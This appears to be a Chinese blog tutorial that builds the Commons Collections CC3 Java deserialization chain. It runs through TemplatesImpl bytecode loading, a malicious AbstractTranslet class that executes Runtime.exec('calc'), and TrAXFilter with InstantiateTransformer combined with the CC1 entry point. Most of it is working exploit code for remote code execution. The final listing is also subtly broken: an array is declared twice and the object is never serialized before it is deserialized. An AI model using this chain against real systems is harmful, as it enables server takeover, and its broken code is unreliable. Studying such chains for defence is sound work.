CC链3 前面介绍了CC1和CC6,这两条链子虽然前面的入口类不同
CC1入口类是AnnotationInvocationHandler
CC6入口类是HashMap 但是其触发恶意代码的方式是相同的,都是InvokerTransformer.transform()触发Runtime.getRuntime().exec()实现命令执行。
而在很多情况下,Runtime.getRuntime().exec()方式会被服务器所禁止(代码黑名单),导致最终利用链无法执行。
CC链3其实是在调用Runtime.exec()的另一种方式,通过类加载的形式动态加载恶意类来实现自动执行恶意类代码的
CC3链中使用的动态类加载机制 通常情况下,实战中使用动态类加载机制加载恶意类的方式有以下几种:
URLClassLoader 任意类加载
ClassLoader.defineClass 字节码加载任意类(私有方法)
Unsafe.defineClass 字节码加载(公有方法),但类不能直接生成,Spring中可以直接生成
而CC3链则是利用的ClassLoader.defineClass 字节码加载任意类(私有方法)
ClassLoader.defineClass 字节码加载任意类方式为:
1 2 3 4 5 6 7 8 9 10 11 ClassLoader cl = ClassLoader.getSystemClassLoader();Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass" , String.class, byte [].class, int .class, int .class);defineClassMethod.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("Test.class文件路径" ));Class c = (Class) defineClassMethod.invoke(cl,"Test" ,code,0 ,code.length);Test testObj = c.newInstance();
TemplatesImpl 通过defineClass()方法可以加载一个类字节码,生成一个类对象。如果类字节码中存在恶意的内容,则会执行。
接下来寻找一下哪里调用了defineClass()方法,和其他利用链一样,最终需要找到readObject()。
在defineTransletClasses()中看到了调用defineClass()方法 但由于私有的,所以再查找谁调用了defineTransletClasses()
在下面的getTransletInstance()方法找到了调用 但依旧私有,继续找
最后在newTransformer()中找到了,并且也是public
此时的调用链为:
1 2 3 4 5 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass java.lang.ClassLoader#defineClass
构造TemplatesImpl类中的调用链的payload 接下来我们构造一下当前的调用链的payload,使其调用TemplatesImpl.newTransformer()时,加载恶意类,触发恶意代码。
通过刚才的分析,当调用到newTransformer()方法时,会触发一系列的调用,当然,我们要解决中间的一些“阻碍”。
首先创建一个TemplatesImpl对象:
1 TemplatesImpl templates = new TemplatesImpl ();
接下来调用newTransformer()方法:
1 templates.newTransformer();
此时运行代码,并不会执行恶意代码,因为我们连恶意类字节码还没呢!此时只是调用了newTransformer()方法而已,调用链并不能成功执行下去。
但是我们开头和结尾已经有了,接下来需要在中间将参数、限制条件等解决掉。
假如现在我们已经执行了newTransformer()方法,那么到底是什么内容限制了调用链的成功执行呢?
首先调用newTransformer()方法后,我们通过调用链得知,接下来需要调用TemplatesImpl.getTransletInstance()方法,而在newTransformer()方法内部可以发现,并没有什么可以阻碍代码执行到getTransletInstance()方法 接下来,是需要调用TemplatesImpl.defineTransletClasses()方法,进入getTransletInstance()方法看一下: 从这里可以发现,这里有两道坎,一个是_name,一个是_class,我们需要满足:
_name 不能为null
_class必须是null
因为这些属性默认就是null,所以我们需要给_name赋值,使其不是null。
通过查看_name属性在该类中的赋值情况,发现并不好赋值,所以接下来我们通过反射,给_name属性赋值
1 private String _name = null ;
1 2 3 4 Class templatesClass = templates.getClass();Field _nameField = templatesClass.getDeclaredField("_name" );_nameField.setAccessible(true ); _nameField.set(templates,"aaa" );
此时运行,还是执行不成功。因为后面还是有别的限制的,继续分析
现在能成功调用defineTransletClasses()方法了,根据调用链得知,接下来需要调用TransletClassLoader.defineClass()方法。
进入到defineTransletClasses()方法内部: 发现,这里有一个限制,就是_bytecodes属性,不能为空,否则报异常。
看看_bytecodes属性,发现是一个二维数组:
1 private byte [][] _bytecodes = null ;
并且在调用defineClass()方法的位置,_bytecodes[i]会当做defineClass()方法的参数传入。 一步步进入defineClass()方法后会发现,最后调用了ClassLoader.defineClass(),当然这里就是前面所说的调用链。
这里我们关注_bytecodes[i]参数,最终会成为ClassLoader.defineClass()方法的byte[] b,也就是说最终通过defineClass方式加载的类字节码。
这里先准备个.class的恶意文件: 创建恶意类,并将其编译成class文件
1 2 3 4 5 6 7 8 9 public class Test { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
准备好.class文件之后,接下来给_bytecodes属性赋值,注意它是一个二维数组,传入defineClass()方法的是_bytecodes[i],所以我们加载的.class文件的字节码内容,应该放在_bytecodes[i]处。
1 2 3 4 5 Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes" );_bytecodesField.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class" ));byte [][] codes = {code}_bytecodesField.set(templates,codes);
defineTransletClasses()方法中用到的_tfactory也不能为null 查看一下_tfactory的类型:
1 private transient TransformerFactoryImpl _tfactory = null ;
发现是TransformerFactoryImpl类型,但是被transient修饰,也就是说不能进行序列化。 但是在重写的readObject()方法中存在_tfactory赋值: 意味着,即使我们没有将_tfactory序列化进去,但是执行readObject()即反序列的时候,同样会给_tfactory赋值!这样就不用担心_tfactory为null了。 给_tfactory赋值:
1 2 3 Field _tfactoryField = templatesClass.getDeclaredField("_tfactory" );_tfactoryField.setAccessible(true ); _tfactoryField.set(templates,new TransformerFactoryImpl ());
但这样运行后异常报错
1 2 3 4 5 6 7 8 9 10 11 12 13 public class Test { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] code = Files.readAllBytes(Paths.get("E:\\java-test\\TemplatesImpl\\TemplatesImpl\\target\\classes\\com\\javatest\\Pay.class" )); byte [][] codes = {code}; setValue(templates,"_name" ,"aaa" ); setValue(templates,"_bytecodes" ,codes); setValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); templates.newTransformer(); } }
直接跳转到422行,发现在defineTransletClasses()方法内报错的
所以对其进行调试,查找哪里出了问题 关注此处代码
1 2 3 4 5 6 7 if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); }
由于_transletIndex = -1 所以跳入下面的循环if (_transletIndex < 0) 就会进行异常报错 查看第一个判断语句superClass.getName().equals(ABSTRACT_TRANSLET)中的ABSTRACT_TRANSLET 发现是AbstractTranslet类
从for循环来看通将传入的字节码换成Java类,并通过getSuperclass()获取其父类 在进入if语句对父类名字 与ABSTRACT_TRANSLET 进行比较
1 2 3 4 5 6 7 8 9 10 11 12 for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
所以我们需要将恶意构造的类继承AbstractTranslet类,但AbstractTranslet类是抽象类,并且也继承了Translet类,且AbstractTranslet类重写了Translet类的很多方法,但有两个方法未重写
所以我们在恶意构造类中也要重写Translet类中的方法
1 2 3 4 5 6 7 8 9 10 11 public abstract void transform (DOM document, DTMAxisIterator iterator,SerializationHandler handler) throws TransletException;public final void transform (DOM document, SerializationHandler handler) throws TransletException { try { transform(document, document.getIterator(), handler); } finally { _keyIndexes = null ; } }
重写构造恶意加载类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Pay extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
Test.java
1 2 3 4 5 6 7 8 9 10 11 12 13 public class Test { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] code = Files.readAllBytes(Paths.get("E:\\java-test\\TemplatesImpl\\TemplatesImpl\\target\\classes\\com\\javatest\\Pay.class" )); byte [][] codes = {code}; setValue(templates,"_name" ,"aaa" ); setValue(templates,"_bytecodes" ,codes); setValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); templates.newTransformer(); } }
成功直接恶意代码
CC1与TemplatesImpl的结合 由于是在调用Runtime.exec()的另一种方式,通过类加载的形式动态加载恶意类来实现自动执行恶意类代码的
InvokerTransformer依旧可以使用
1 2 3 4 5 Transformer[] transformerArray=new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformerArray);
只需要改变这里,其他的全部不变就行,因为我们只是改变了调用Runtime.exec()的方法
CC6与同理
TrAXFilter 通过对TemplatesImpl中的newTransformer()查找用法 通过分析找到了最有可能的地方TrAXFilter
CC3的作者并未使用InvokerTransformer,而是使用了新的类InstantiateTransformer 再transfom()中判断传入来的是不是是不是class类型,然后再通过反射获取指定参数类型的构造器,再调其构造函数
1 2 InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class},new Object []{templates});instantiateTransformer.transform(TrAXFilter.class);
将其套入transform[]中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class Test { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); byte [] code = Files.readAllBytes(Paths.get("E:\\java-test\\TemplatesImpl\\TemplatesImpl\\target\\classes\\com\\javatest\\Pay.class" )); byte [][] codes = {code}; setValue(templates,"_name" ,"aaa" ); setValue(templates,"_bytecodes" ,codes); setValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformerArray=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}), }; Transformer[] transformerArray=new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformerArray); Map<Object, Object> map = new HashMap <>(); map.put("value" , "又是一年秋风萧瑟" ); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null , chainedTransformer); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); annotationConstructor.setAccessible(true ); Object obj = annotationConstructor.newInstance(Target.class, transformedMap); unserialize("ser1.bin" ); } public static void setValue (Object object, String fieldName, Object value) throws Exception { Class obj = object.getClass(); Field field = obj.getDeclaredField(fieldName); field.setAccessible(true ); field.set(object,value); } public static void serialize (Object object) throws Exception { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser1.bin" )); oos.writeObject(object); } public static void unserialize (String filename) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream (new FileInputStream (filename)); objectInputStream.readObject(); } }
成功调用calc